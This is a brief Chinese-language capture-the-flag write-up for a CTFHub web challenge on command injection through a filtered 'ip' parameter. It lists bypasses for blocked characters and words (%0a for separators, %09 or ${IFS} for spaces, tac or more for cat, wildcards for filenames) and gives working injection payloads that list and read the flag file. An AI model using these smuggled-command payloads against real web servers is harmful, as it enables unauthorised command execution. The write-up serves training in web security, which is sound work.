ctfhub-web-综合过滤练习

在本关过过滤了 | & ; / cat flag ctfhub 和空格

  |    &     ;     /    cat    flag    ctfhub  和空格
cat 用more 代替

空格用 < 代替

|   我们可以将 base64写在前面

;（命令分隔符）     用%0a代替

注意 %0a是url编码所以要在url栏中执行

1%0als

进入flag文件，并查询里面的内容
 
/?ip=1%0acd%09f*%0als

%09代替空格（${IFS}代替空格）
 
%0a代替 ；
 
f*代替flag文件
查看flag的内容
 
/?ip=1%0acd%09f*%0atac%09fl*